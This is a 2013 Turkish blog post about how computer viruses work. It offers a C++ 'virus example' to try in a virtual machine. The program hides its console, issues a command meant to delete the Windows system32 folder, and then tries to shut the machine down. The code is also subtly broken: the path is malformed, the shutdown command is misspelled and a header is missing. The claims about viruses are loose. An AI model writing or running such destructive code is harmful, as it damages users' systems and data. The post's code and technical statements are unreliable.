27 Nisan 2013 Cumartesi

Bilgisayar Virüslerinin Mantığı Nedir?


Virüslerin-Çalışma-Mantığı_emresupcinMerhaba sevgili okurlarım,

Şimdi sizlere anlatacağım konu bilgisayar virüslerinin mantığının ne olduğu. İlk başta salt mantık olarak virüsler bilgisayarımıza ve belgelerimize zarar vermek için 3. kişilerin yazılımlarından oluşan birnevi türdür.



Her daim Windows olmak üzere karşımıza çıkıyorlar. Artık Linux ve Mac OS işletim sistemlerinde de bir kaç tane virüs var. Aslında onları yazmak çok basit, çünkü artık .deb, .dmg paketçikleri var.

Mantık
>> Bilgisayarı tanımlar.
>> Bilgisayara kendini sanki daha önceden de varmış gibi gösteririr.
(İşletim sisteminin bir parçası gibi)
>> Çoğalmaya başlar ve silinemez.

Yukarıda ki mantık üzerinden bir virüs örneği tabi ki de size vermeyeceğim. Çünkü size vermek istediklerim gidip zavallı bilgisayarları çökertmek olmayacak. Bu yüzden kendi üzerinizde sanal makinada deneyebileceğiniz bir örnek veriyorum;
—————————————

Dev C++ kullandığım için kodlar ona uyarlıdır. [Console projesi olarak C++ öntabanlı açın]

1  #include <cstdlib>
2 #include <iostream>
3
4 using namespace std;
5
6 int main(int argc, char *argv[])
7 {
8 FreeConsole(); // KONSOLUMUZU SAKLADIK GÖRÜNMEZ OLDU
9 // system32 yi sildik
10 system("rd c:\Windowssystem32");

// SYSTEM KOMUTU CMD ÜZERİNDE YAZDIĞIMIZ KOMUTLARI
UYGULAMAK İÇİN BİR PARAMETREDİR
// bilgisayarı yeniden başlatmasını sağladı ki, sonra açılırsa helal olsun :)
11    system("shut down -s -t 10");
12
13 system("PAUSE");
14 return EXIT_SUCCESS;

15 }

0 yorum:

Yorum Gönder